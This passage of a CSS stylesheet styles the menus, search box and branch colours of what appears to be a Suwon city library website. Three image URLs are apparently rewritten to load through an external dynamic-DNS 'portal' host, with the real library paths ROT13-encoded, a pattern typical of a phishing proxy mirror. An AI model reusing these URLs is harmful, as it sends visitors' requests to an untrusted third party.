  #header .library-toggle{padding: 0; display: flex; margin-left: 10px;}
  #header .m_top_link{display: block; border-bottom: 1px solid #e7eaed;}
  #header .m_top_link .container{display: flex; align-items: center; justify-content: space-between;
  padding: 0; height: 55px;}
  #header .m_top_link .library-name{background: #3578c6; padding: 0 25px; height: 100%;
    display: flex; align-items: center; justify-content: center;}
  #header .m_top_link .library-name span{color: #fff; font-weight: bold; line-height: 22px; font-size: 18px;
    text-align: center;}
  #header .m_top_link .header-utils{display: flex;}
  #header .m_top_link .header-utils a{display: flex; align-items: center;}
  #header .m_top_link .header-utils a:after{
    content: ''; width: 1px; height: 15px; display: block; background: #999b9d; margin: 0 8px;}
  #header .m_top_link .header-utils a:last-child:after{display: none;}
  #header .m_top_link .header-utils a span{margin-left:6px;}
  /* 📌 헤더 기본 설정 */
  #header #top-area,
  #header #util { display: none; }
  #header .library-list{top: 120px;}
  .search_box{top: 140px !important;}
  .navbar-toggler {border: 0; padding: 0; outline: 0;}
  .navbar-toggler-icon {width: 40px; height: 40px; background: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Szrah.cat') no-repeat center;
      cursor: pointer;}
  .navbar-toggler-icon.close_menu_btn {position: absolute; top: 0; right: 0px; width: 40px;
    height: 40px; background: rgba(0, 0, 0, 0.5) url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sz_pybfr.cat') no-repeat center; display: none;}
  .pc_block{display: none;}

  .m_menu{display:block; display: flex; align-items: center; height: 83px; }
  .m_menu .container{display:flex; align-items: center; justify-content: space-between;}
  .mobile-menu {position: fixed; top: 0; right: -100%; width: 537px; max-width: 100%;
    height: 100%; background-color: #fff; transition: right 0.3s ease; z-index: 9999; display: flex; flex-direction: column;}
  .mobile-menu.open {right: 0;}
  .mobile-menu-header {display: flex; align-items: center; justify-content: space-between; background: #353535;
    color: #fff; padding: 16px;}
  .mobile-menu-header h2 {font-size: 23px; margin-bottom: 0; letter-spacing: -1px; font-weight: bold; color: #fff;
    line-height: 1em;}
  .mobile-menu-header .btn-close {background: none; border: none; font-size: 18px; color: #fff; cursor: pointer;
 padding: 0; opacity: 1; width: 18px; height: 18px; display: flex;}
  .mobile-menu-content {flex: 1;                display: flex;         overflow-y: auto;}
  .left-menu {min-width: 177px; background: #3578c6; list-style: none; padding-left: 0; margin-bottom: 0;}
  .left-menu li a {display: block; padding: 15px 18px; text-decoration: none; color: #fff !important;
    border-bottom: 1px solid #ddd; font-size: 20px; background: #3578c6; font-weight: bold; letter-spacing:-1px;}
  .left-menu li.active > a {background: #fff; font-weight: bold; height: 150px; display: flex;
    align-items: center; justify-content: center; font-size: 20px;
    font-weight: bold; color: #3578c6 !important; letter-spacing: -1px;}
  .right-submenus{width: calc(100% - 155px); padding: 15px 20px 0 30px;}
  .right-submenu {flex: 1; list-style: none;}
  .right-submenu > li {position: relative;}
  .right-submenu > li > a {display: flex; align-items:center; gap:6px; padding: 20px 0; text-decoration: none; color: #615e60 !important;
    font-size: 20px; font-weight: bold; line-height: 1em; letter-spacing: -1px; position: relative; width:100%;}
  .right-submenu .has-submenu > a::after {content: ''; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.fhjbayvo.tb.xe%2Sarj_vzt%2Sz_zrah.cat) no-repeat center right;
    width: 20px; height: 20px; position: absolute; right: 0; top: 50%; transform: translateY(-50%);}
  .right-submenu .submenu {display: none; list-style: none; background: #e8e8e8; padding: 15px 18px;}
  .right-submenu .submenu li {margin-bottom: 10px; line-height:1em;}
  .right-submenu .submenu li:last-child{margin-bottom: 0;}
  .right-submenu .submenu li a {font-size: 16px; color: #393939; line-height: 1em; display:flex; align-items:center; gap:6px;}
  .overlay {display: none;}
  .overlay.show {display: block; position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 9998;}
  .right-submenu {display: none;}
  .right-submenu.active {display: block; padding-left: 0;}
   /* 📌 검색창 */
   .searchBox {position: absolute; top: 100%; left: 0; width: 100%; background: #f9f9f9;
    display: none; padding: 20px 0; height: 0; transition: height 0.3s ease-in-out;}
  .searchBox.on {display: block; height: auto;}
  .searchBox #suggested_items1 {padding: 8px 28px; background: #fff; width: 90%; max-width: 696px; margin: 0 auto;
  border-radius: 15px;}
  .searchBox #suggested_items1 .item {padding-bottom: 6px; cursor: pointer;}
  .menu_util{display: flex; align-items: center; gap: 4px;}

  .m_search {cursor: pointer;}
  .search_box {position: absolute;  top: 60px; left: 50%; transform: translateX(-50%); width: 100%; 
    background: #3578c6; padding: 40px 0; display: none;  z-index: 1000;  text-align: center;}
  .search_box input {width: calc(100% - 50px); padding: 10px; border: none; border-radius: 4px;}
  .search_box span {display: inline-block; padding: 12.5px 0; background: #fff; cursor: pointer;
  border-radius: 22px; font-size: 20px; color: #3578c6; font-weight: bold; margin-left: 5px; line-height: 1em;
  width: 87px; letter-spacing: -1px;}
  .search_box input {width: 315px; border-radius: 20px; padding: 8px; border: 1px solid #ccc; height: 45px;
  padding-left: 25px; color: #999b9d; font-weight: 500 ;}
  .search_box input::placeholder{color: #999b9d; font-weight: 500; letter-spacing: -1px; font-size: 18px;}
  .second_menu, .third_menu {display: none; overflow: hidden; transition: max-height 0.3s ease-out;}


   /******* 모바일 bg ********/
	 /*선경도서관*/
    .topbg_sunkyung, 
	.topbg_sunkyung li a{background:#3578c6 !important;}
	.topbg_sunkyung li.active a{background: #fff !important; color:#3578c6 !important;}
	/*대추골도서관*/
    .topbg_dcg,
	.topbg_dcg li a{background: #ef5e77 !important;}
    .topbg_dcg li.active a{background: #fff !important; color: #ef5e77 !important;}
	/*중앙도서관*/
	.topbg_jlib,
	.topbg_jlib li a{background: #c68335 !important;}
	.topbg_jlib li.active a{background: #fff !important; color: #c68335 !important;}
	/*창룡도서관*/
	.topbg_cy,
	.topbg_cy li a{background: #2796cf !important;}
	.topbg_cy li.active a{background: #fff !important; color: #2796cf !important;}
	/*화서다산도서관*/
	.topbg_hd,
	.topbg_hd li a{background: #aba000 !important;}
	.topbg_hd li.active a{background: #fff !important; color: #aba000 !important;}
	/*호매실도서관*/
	.topbg_hms,
	.topbg_hms li a{background: #056741 !important;}
	.topbg_hms li.active a{background: #fff !important; color: #056741 !important;}
	/*서수원도서관*/
	.topbg_seo,
	.topbg_seo li a{background: #15888a !important;}
	.topbg_seo li.active a{background: #fff !important; color: #15888a !important;}
	/*한림도서관*/
	.topbg_hl,
	.topbg_hl li a{background: #6e442b !important;}
	.topbg_hl li.active a{background: #fff !important; color: #6e442b !important;}
	/*버드내도서관*/
	.topbg_bdn,
	.topbg_bdn li a{background:#4765a4 !important;}
	.topbg_bdn li.active a{background: #fff !important; color: #4765a4 !important;}
	/*북수원도서관*/
	.topbg_buk,
	.topbg_buk li a{background:#7647c8 !important;}
	.topbg_buk li.active a{background: #fff !important; color: #7647c8 !important;}
	/*일월도서관*/
	.topbg_iw,
	.topbg_iw li a{background:#5fa308 !important;}
	.topbg_iw li.active a{background: #fff !important; color: #5fa308 !important;}
	/*광교홍재도서관*/
	.topbg_gh,
	.topbg_gh li a{background:#a73858 !important;}
	.topbg_gh li.active a{background: #fff !important; color: #a73858 !important;}

	/*영통도서관*/
	.topbg_yt,
	.topbg_yt li a{background:#7647c8 !important;}
	.topbg_yt li.active a{background: #fff !important; color: #7647c8 !important;}

	/*태장마루도서관*/
	.topbg_TM,
	.topbg_TM li a{background:#3d8619 !important;}
	.topbg_TM li.active a{background: #fff !important; color: #3d8619 !important;}

	/*광교푸른숲도서관*/
	.topbg_gps,
	.topbg_gps li a{background:#fbc128 !important;}
	.topbg_gps li.active a{background: #fff !important; color: #fbc128 !important;}

	/*매여울도서관*/
	.topbg_myu,
	.topbg_myu li a{background:#7888a0 !important;}
	.topbg_myu li.active a{background: #fff !important; color: #7888a0 !important;}

	/*망포글빛도서관*/
	.topbg_mpgb,
	.topbg_mpgb li a{background:#ff8264 !important;}
	.topbg_mpgb li.active a{background: #fff !important; color: #ff8264 !important;}
 
}

@media (min-width: 992px) {
  /*header*/
  #header{position:relative;}
	#header nav.navbar{height: 70px;}
	#header .navbar-nav{width:100%; font-size:22px; font-weight:600;}
	#header .navbar-nav .nav-item{width:calc(100% / 6); text-align:center; letter-spacing:-1px;}
	#header .navbar-nav{position:relative;}
    #header .navbar-nav .nav-item a{color: #000; display:flex; align-items:center; justify-content:center; gap:5px; width:100%; height:100%;}
    #header .navbar-nav .nav-item a:hover{font-weight: bold;}
	#header .navbar-nav .nav-item .subMenu{position: absolute; top: 65px; left: 0; background: #fff; border: 1px solid #ccc; padding: 10px; display: none;
  z-index: 1000; box-shadow: 0 4px 8px rgba(0,0,0,0.1); right:0;}
	#header .navbar-nav .dropdown-menu{width:100%; min-width:100%; height:316px; background:transparent; border:none; border-radius:0; font-size:18px; text-align:center; padding-top:18px;}
	#header .navbar-nav .nav-link:hover{color:#014099;}
	#header .dropdown-item{padding:8px;}
	#header .dropdown-item:hover{background:transparent; color:#0064b9;}
  #header .dropdown-toggle::after{display: none;}
	#header .nav_bg{width:100%; position:absolute; top:100%; left:0; background:#fff; border-bottom:1px solid #dcdcdc; z-index:2;}
	#header .dropdown_on{background:#fff !important;}

  
	
}



/* 📌 모바일 전용 스타일 */
@media (max-width: 992px) {
  
  
  /*tit*/
  .board_top_wrap .board_tit{font-size: 30px;}
  .board_top_wrap .more_btn{font-size: 18px;}
  /*book_suwon*/
  #book_suwon .text-center{font-size: 42px; margin-bottom: 50px;}
  #book_suwon .f_con .tab-menu h4{font-size: 28px;}
  #book_suwon .f_con .tab-menu h4 span{font-size: 32px;}
  #main_board ul.board_list{flex-wrap: wrap;}
  #main_board ul.board_list li{width: calc((100% / 2) - 10px); height: auto; margin-bottom: 10px; margin-right: 0;}
  #main_board ul.board_list li:nth-child(odd){margin-right: 20px;}
  #main_board ul.board_list li .board_date{position: static; margin-top: 10px;}
  #book-program .program-list .program-info-wrapper{display:block;}
  #book-program .program-list .program-info-wrapper button{width:100%; margin-top:20px;}
  /*독서문화프로그램*/
  .board_top_wrap div .library-select{position: absolute; top: 65px; left: 10px; margin-top: 0;
  margin-left: 0;}
  .board_top_wrap div{flex-direction: column;}
  .board_top_wrap{margin-bottom: 70px;}
  #book_suwon .f_con{display: block;}
  #book_suwon .f_con .tab-content-area{width: 100%;}
  #book_suwon .f_con .tab-content-area{height: auto;}
  #book_suwon .f_con .tab-menu ul{display: flex; flex-direction:row !important; flex-wrap: nowrap;margin-bottom: 20px; gap: 10px;}
  #book_suwon .f_con .tab-menu ul li{width: calc(100% / 3);}
  #book_suwon .bg_left, #book_suwon .bg_right{display: none;}


 



	
}

@media (max-width: 768px) {
  #header .m_top_link .header-utils a span{display:none;}
  #book-program .program-list{display: block;}
  #book-program .program-list .program-card{width: 100%;}
  #book-program .program-list .program-card:first-child{margin-bottom: 10px;}
  #book-program .program-list .program-info-wrapper{display: block;}
  #book-program .program-list .program-info-wrapper button{margin-top: 20px; width: 100%;}
  #book_suwon .nav-pills .nav-link,
  #book_suwon .nav-pills .nav-link.active, 
  #book_suwon .nav-pills .show>.nav-link
  {font-size: 17px; background-position:center right 13px;}

  /*footer*/
  footer .footer-wrap{flex-direction: column; align-items: center;}
  footer .footer-wrap .footer-social{margin-top: 20px;}
}

@media (max-width: 576px) {
  #header .library-list{width:auto; left:10px;}
  #header .library-list .f_box{display:block;}
  #header .library-list .f_box .link_box ul{margin-bottom:20px; height:160px; padding: 0 18px 0 0;} 
  #header .library-list .f_box .link_box:nth-of-type(3) ul{margin-bottom:0; height:88px;}
  #main_board ul.board_list{display: block;}
  #main_board ul.board_list li{width: 100%; margin-right: 0;}
  #main-banner .banner-box .tab-content{padding: 25px;}
  #main-banner .tab-content .dates .f_box{gap: 15px;}
  #main-banner .tab-content .month{min-width: 80px; height: 80px;}
  #main-banner .tab-content .month span{font-size: 19px;}
  #main-banner .tab-content .month span:last-child{font-size: 28px;}
  #main-banner .tab-content .date{width: 35px; height: 35px; font-size: 17px;}

  #book_suwon .nav-pills .nav-link,
  #book_suwon .nav-pills .nav-link.active, 
  #book_suwon .nav-pills .show>.nav-link{background-image:none; text-align: center;
  padding-left: 0;}
  #book_suwon .f_con .tab-menu{margin-right: 0;}
}

@media (max-width: 480px) {
  
  
  #header .m_top_link .library-name{padding: 0 15px;}
  #header .m_top_link .library-name span{font-size: 15px;}
  
  #main-banner .banner-box .tab-content{height: 261px;}
  #main-banner .banner-box .nav-tabs .nav-link{font-size: 25px;}
  #main-banner .tab-content .title{font-size: 26px;}
  #main-banner .tab-content .desc{font-size: 18px;}
  #main-banner .tab-content .dates .f_box{flex-wrap: wrap;}
  #main-banner .tab-content .dates{margin-bottom: 20px;}
  #main-banner .tab-pane#guide ul li p{font-size: 18px; letter-spacing: -1px;}
  .board_top_wrap .board_tit{font-size: 28px;}
  #book-program .board_top_wrap .b_icon{gap: 10px;}
  #book-program .board_top_wrap .b_icon img{width: 30px; height: 30px;}
  .board_top_wrap div .library-select{top: 48px;}
  footer .footer-wrap{align-items: flex-start;}
  footer .footer-wrap .footer-links ul{flex-direction: column;}
  footer .footer-wrap .footer-links ul li{margin-bottom: 10px;}
  footer .footer-wrap .footer-links ul li:after{display: none;}
  /*m_search*/
  .search_box input{width: 250px;}
}
@media (max-width: 410px) {
  #header .m_top_link .header-utils a span{display: none;}
  .left-menu{min-width:155px;}
  .right-submenu > li > a{font-size:18px; padding:18px 0;}
  #main-banner .banner-box .info_tabs:after{display: none;}
  #main-banner .banner-box .nav-tabs{padding-left: 0px !important;}
  #main-banner .banner-box .nav-tabs li{height: 100%; display: flex; width: 50%;}
  #main-banner .banner-box .nav-tabs .nav-link{width: 100%;}
  #main-banner .tab-content .title{font-size: 22px;}
  #main-banner .tab-content .desc{font-size: 16px;}
  #main-banner .tab-content .date{width: 32px; height: 32px;}
  #main-banner .tab-content .dates{margin-top:25px}
  #main-banner .tab-pane#guide ul li{margin-bottom: 23px;}
  #main-banner .tab-pane#guide ul li h5{font-size: 19px; margin-bottom: 11px;}
  #main-banner .tab-pane#guide ul li p{font-size: 16px;}
}
@media (max-width: 360px) {
  #header h1.logo{width: 187px;}
  #header .m_top_link .header-utils a span{display:none;}
  #book_suwon .f_con .tab-menu ul{gap: 7px;}
  #book_suwon .nav-pills .nav-link, 
  #book_suwon .nav-pills .nav-link.active, 
  #book_suwon .nav-pills .show>.nav-link{font-size: 14px;}
  #rolling_banner .banner_wrap{flex-wrap: wrap; gap: 12px;}

}